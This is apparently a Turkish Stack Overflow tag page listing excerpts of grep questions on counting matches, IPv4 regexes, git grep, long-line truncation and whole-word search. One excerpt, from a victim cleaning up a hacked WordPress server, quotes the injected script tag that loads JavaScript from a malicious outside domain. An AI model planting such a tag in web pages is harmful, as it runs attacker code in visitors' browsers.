«grep» etiketlenmiş sorular

grep, orijinal olarak Unix için yazılmış bir komut satırı metin arama yardımcı programıdır. Metni eşleştirmek için düzenli ifadeler kullanır ve genellikle boru hatlarında filtre olarak kullanılır. Bu etiketi yalnızca sorunuz grep veya grep tabanlı API'lar kullanarak programlama ile ilgiliyse kullanın. Grep komut satırı seçeneklerinin kullanımıyla veya sorun gidermeyle ilgili sorular konu dışıdır.


5
Bir dosyadaki bir desenin oluşum sayısını sayın (aynı satırda bile)
Bir dosyada bir dizenin oluşum sayısını ararken genellikle şunu kullanırım: grep pattern file | wc -l Bununla birlikte, grep'in çalışma şekli nedeniyle bu, satır başına yalnızca bir oluşum bulur. Aynı veya farklı satırlarda olup olmadıklarına bakılmaksızın, bir dizenin bir dosyada kaç kez göründüğünü nasıl arayabilirim? Ayrıca, basit bir dize değil, …
94 search  count  grep  match 

30
IPv4 adreslerini regexp ile doğrulama
IPv4 doğrulaması için verimli bir normal ifade almaya çalışıyorum, ancak çok şansım olmadı. Bir noktada sahip olduğum gibi görünüyordu (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}, ancak bazı garip sonuçlar veriyor: $ grep --version grep (GNU grep) 2.7 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.1 192.168.1.1 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' <<< 192.168.1.255 192.168.1.255 $ grep -E '\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?(\.|$)){4}\b' …

3
dosya uzantılarına göre git grep
Biliyorum, bir kalıbı yalnızca belirli uzantılara sahip dosyalarda grep etmek istersem, bunu yapabilirdim: // searches recursively and matches case insensitively in only javascript files // for "res" from the current directory grep -iIr --include=*.js res ./ Bunu git grep aracılığıyla yapmanın bir yolunu da aramaya çalışıyorum (git grep'in ağacıyla birlikte …

8
Grep veya ack tarafından döndürülen uzun eşleşen satırlar nasıl kesilir
Ack veya grep'i genellikle çok uzun satırları olan HTML dosyalarında çalıştırmak istiyorum. Tekrar tekrar saran çok uzun çizgiler görmek istemiyorum. Ama uzun bir çizginin, normal ifadeyle eşleşen bir dizeyi çevreleyen kısmını görmek istiyorum. Bunu Unix araçlarının herhangi bir kombinasyonunu kullanarak nasıl elde edebilirim?
91 grep  unix  ack 

1
grep regex boşluk davranışı
Şunun gibi bir şey içeren bir metin dosyam var: 12,34 EUR 5,67 EUR ... 'EUR'dan önce bir boşluk var ve 0, XX EUR'u yok sayıyorum. Denedim: grep '[1-9][0-9]*,[0-9]\{2\}\sEUR' => didn't match ! grep '[1-9][0-9]*,[0-9]\{2\} EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s*EUR' => worked ! grep '[1-9][0-9]*,[0-9]\{2\}\s[E]UR' => worked ! Biri bana …
90 regex  grep  gnu 

10
Grep'deki yıldız işaretini kullanma
Linux / bash içindeki belirli bir dosyada "abc" alt dizesini aramaya çalışıyorum Ben de yapıyorum: grep '*abc*' myFile Hiçbir şey döndürmez. Ama yaparsam: grep 'abc' myFile Eşleşmeleri doğru şekilde döndürür. Şimdi, bu benim için sorun değil. Ama ya daha karmaşık bir dizge için grep yapmak istersem *abc * def * …
90 regex  bash  grep 

5
Grep çıktısında dosya adını ve satır numarasını göster
Grep kullanarak raylar dizinimi aramaya çalışıyorum. Belirli bir kelimeyi arıyorum ve dosya adını ve satır numarasını yazdırmak istiyorum. Bunu benim için yapacak grep bayrağı var mı? Ben bir kombinasyonunu kullanmaya çalışıyorlar -nve -lancak bu ya hiç sayılarla dosya adlarını yazdırmak ya da sadece kolayca okunamaz terminale metnin bir sürü damping. …
87 awk  grep 

5
Tüm kelime için nasıl grep yapılır
Alt dizinlerde bir şeyler grep etmek için aşağıdaki komutu kullanıyorum find . | xargs grep -s 's:text' Ancak, bu aynı zamanda şöyle şeyler de bulur <s:textfield name="sdfsf"...../> Bundan kaçınmak için ne yapabilirim ki böyle şeyler bulsun <s:text name="sdfsdf"/> VEYA bu konuda .... şunu da bulur <s:text somethingElse="lkjkj" name="lkkj" temelde s:textve …
87 unix  grep 

15
grep dosyasında farklı satırlarda birden çok dizge için (yani satır tabanlı arama değil, tüm dosya)?
Ben kelimeleri içeren dosyalar için yazılması istiyorum Dansk, Svenskaya Norsk kullanışlı dönüş kodu ile, herhangi bir hat üzerinde (dizeleri yer aldığını bilgilere sahip Gerçekten sadece benzerleri gibi, benim bir astar ayrıca daha sonra bu biraz gider). İçinde şu satırlar olan birçok dosyam var: Disc Title: unknown Title: 01, Length: 01:33:37.000 …
85 bash  awk  grep 

7
Sed veya muhtemelen grep kullanarak tüm dizeyi değiştirme
Böylece tüm sunucum saldırıya uğradı veya kötü amaçlı yazılım sorunu yaşadı. sitem WordPress tabanlı ve sunucumda barındırılan sitelerin çoğu WordPress tabanlı. Bilgisayar korsanı bu kod satırını her bir dosyaya ve veritabanına ekledi <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> Kullanarak grep ile arama yaptım grep -r "trasnaltemyrecords" /var/www/html/{*,.*} Ben dosya yapısı boyunca yerine çalışıyorum …
10 bash  shell  sed  grep 
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.